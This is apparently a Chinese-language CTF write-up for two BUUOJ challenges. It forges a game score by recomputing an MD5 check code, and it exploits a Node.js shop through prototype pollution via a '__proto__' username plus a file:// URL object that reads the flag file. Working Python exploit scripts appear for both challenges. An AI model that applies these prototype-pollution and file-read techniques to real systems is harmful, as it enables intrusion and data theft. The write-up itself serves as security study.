dino3d
进去就看到了一个小游戏 先玩几下,弹出来了东西
这个肯定是要修改东西的
我们搜索一下alert发现
sn(e, t) {
e && t && fetch("/check.php", {
method: "POST",
headers: {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
},
body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
}).then(e=>e.text()).then(e=>alert(e))
}
我们再这个下个断点,看一下处理逻辑
传入e和t我们在往下看
score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
这个是post传参
分数+t md5加密后面还有一个时间戳
写exp
from hashlib import md5
import requests
import time
url = "http://node5.buuoj.cn:28690/check.php"
def getFlag():
data = {
"score": 1000000,
"checkCode": md5("1000000DASxCBCTF_wElc03e".encode()).hexdigest(),
"tm": int(time.time())
}
res = requests.post(url, data = data)
return res.text
if __name__ == '__main__':
print(getFlag())
总结
这个主要这个时间戳比较难弄,做的少没有看出来
cbshop
这个题确实学到了很多知识点,一个node.js的代码审计吧
其中最总要的是那原型链污染,其次就是那个flag的过滤, 原型链污染的题做的很少,这次从开发的角度去学了一下原型和原型链
我觉得代码审计最重要的是弄懂那一段代码是怎么运作的,怎么实现的,然后在考虑如何漏洞利用,当然如果是大型的框架的话,还是先找
漏洞的利用点然后再次审计
我们看一下这个题
进去的话有几个功能点登入进去,原本以为还是要admin登入,jwt伪造之类的,但是随便输一下就进去了,进去之后,可以购买假的flag
买真的flag就没有钱,还有一个修改用户名功能,其他的就没有了,我们看源码
大概审一下
先看登入界面
这里有admin的登入逻辑
这里有登入的密码,也有9999的钱,那也就是说我们登入进去就有flag了
看看一下
password === adminUser.password.substring(1,6)
这个对密码进行过处理了
我们在控制台上输出一下
得到密码登入进去
发现买不了flag
看一下购买商品的逻辑
登入成功之后要有token才行,但是我们看user这个对象
只有这两个参数被写死了
那我们要从哪里传入token这个参数呢
我们先来看看这个参数都是怎么传递的
看一下这个参数的,这个user用的是存储的user的用户名和钱
这个body我们看一下怎么来的
这里面是以json这个格式来传入数据
这个是POST传入的内容,这个里面的参数我们都是可控的,当然我们也可以加入token的值总归是在puduct上我们该怎么把它给user呢
如果说有继承关系的话,我们可以直接调用,但是JavaScript是没有继承这个概念的,只有原型。
那这道题的考点就差不多是原型链污染了。
对于原型链污染,没有很深的见解,大概4月份学的原型链污染,但是当时没有学明白,看了好长时间的原型链污染
那么原型链污染是什么,第一,我们肯定要有可控的参数,可以控制它,让它成为我们想要的参数,比如说__proto__
这样我们就可以这个对象可以指向它的原型,这样我们就可以利用原型里面的参数了。
然后我们吧puduct里面的参数给它的原型,那么我们就可以利用puduct的参数了。
思路有了,那么看看有没有可以实现的函数
这个函数我们看一下是什么作用
简单就是Copy的作用,这个函数可以将puduct的属性复制到order的原型
我们把username赋值成__proto__,order的原型就有了puduct的属性,order的原型和user的原型都是object
那也就是说在查找user的token时,如果没有这个属性,就往原型上找,往object上找。
这点说的很清楚了,我们绕过这个token之后。看下一个判断
这个等同于过滤了flag
那我们怎么读取flag呢
看有个提示是readFileSync,看一下这个函数的怎么用
参数可以时file,我们用file伪协议读取
直接接给exp
import requests
session = requests.Session()
url = "http://fe3519fd-6d9c-4bcd-bb2b-37c7538ed802.node5.buuoj.cn:81/" # 题目url
def login():
data = {
"username": "admin",
"password": "\uDE00admi"
}
session.post(url + "login", json = data)
def changeUsername():
data = { "username": "__proto__" }
session.post(url + "changeUsername", json = data)
def buyFlag():
data = {
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":True
}
res = session.post(url + "buy", json = data)
return res.text
if __name__ == '__main__':
login()
changeUsername()
flag = buyFlag()
print(flag)
结果
总结
很多原型链污染都是污染Object类,通过今天的学习,对这个原型链污染更加清晰了